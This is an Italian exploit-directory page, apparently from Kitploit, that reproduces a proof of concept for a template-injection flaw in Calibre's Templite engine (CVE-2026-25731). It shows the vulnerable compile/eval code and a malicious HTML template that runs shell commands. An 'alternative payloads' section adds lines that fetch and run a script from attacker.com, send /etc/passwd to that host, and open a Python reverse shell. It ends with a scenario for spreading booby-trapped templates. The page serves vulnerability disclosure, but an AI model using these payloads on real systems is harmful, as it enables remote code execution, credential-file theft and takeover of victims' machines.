Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/dxleryt/cve-2026-25731
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubdxleryt/cve-2026-25731

CVE-2026-25731

Proof of Concept per una vulnerabilità di Server-Side Template Injection (SSTI) nel motore Templite di Calibre (GHSA-xrh9-w7qx-3gcc). Dimostra l'esecuzione arbitraria di codice Python tramite modelli di esportazione HTML forniti dall'utente nelle versioni interessate (≤ 9.1.0).

Vedi Repository
4439 mesi faNon ancora revisionato
Condividi

Server-Side Template Injection (SSTI) nel Motore Templite

Gravità: Alta (CVSS 7.8)

Software interessato: calibre <= 9.1.0

Corretto in: 9.2.0

Avviso: GHSA-xrh9-w7qx-3gcc

Riepilogo

Una vulnerabilità di Server-Side Template Injection (SSTI) nel motore di templating Templite di Calibre consente l'esecuzione arbitraria di codice quando un utente converte un ebook utilizzando un file di template personalizzato dannoso tramite le opzioni da riga di comando --template-html o --template-html-index.

Dettagli

Il motore Templite (src/templite/__init__.py) compila e valuta i template utilizzando le funzioni compile() ed eval() di Python senza alcun sandboxing:

Codice vulnerabile in src/templite/__init__.py:

# Riga 72: Il template viene compilato in codice Python
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Riga 90: Il codice compilato viene eseguito tramite eval()
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Esecuzione arbitraria di codice

Vettore di attacco in src/calibre/ebooks/conversion/plugins/html_output.py:

# Righe 96-98: Il file di template fornito dall'utente viene caricato
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Riga 136: Il template viene passato al motore Templite vulnerabile
templite = Templite(template_html_index_data)

Lo stesso schema esiste per l'opzione --template-html (righe 102-106, 200).

PoC

1. Creare un file di template dannoso

Salvare quanto segue come malicious_template.tmpl:

<!DOCTYPE html>
<html>
<head><title>Template Dannoso</title></head>
<body>
<h1>Libro convertito!</h1>
<!-- Il payload SSTI esegue comandi arbitrari -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

2. Eseguire la conversione dell'ebook con il template dannoso

# Convertire qualsiasi ebook utilizzando il template dannoso
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl

3. Verificare l'esecuzione del codice

cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...

Payload alternativi

# Esecuzione di comandi
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# Esfiltrazione di file
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

Verifica autonoma

#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# Esecuzione di comandi
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("Utente:", t.render())  # Stampa il nome utente corrente

# Lettura di file
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render())  # Stampa la prima riga di /etc/passwd

Impatto

Chi è interessato:

  • Utenti che scaricano e utilizzano template di esportazione HTML di terze parti
  • Utenti che utilizzano template condivisi su forum, GitHub o altre fonti
  • Sistemi che eseguono Calibre in pipeline automatizzate con template forniti dall'utente

Scenario di attacco:

  1. L'attaccante crea un template HTML dall'aspetto legittimo con un payload SSTI incorporato
  2. L'attaccante condivide il template sui forum di Calibre, Reddit o GitHub
  3. La vittima scarica il template e lo utilizza: ebook-convert book.epub out.zip --template-html=template.tmpl
  4. Il codice arbitrario viene eseguito con i privilegi della vittima
Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    717
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    504
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    402
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    342
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    260
  • 6

    antifox

    antifox-ai/antifox

    Piattaforma multi-agente di penetration testing autonoma basata sull'IA che esegue ricognizione, scoperta della superficie d'attacco, validazione dello sfruttamento e consegna di report supportati da evidenze.

    259

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →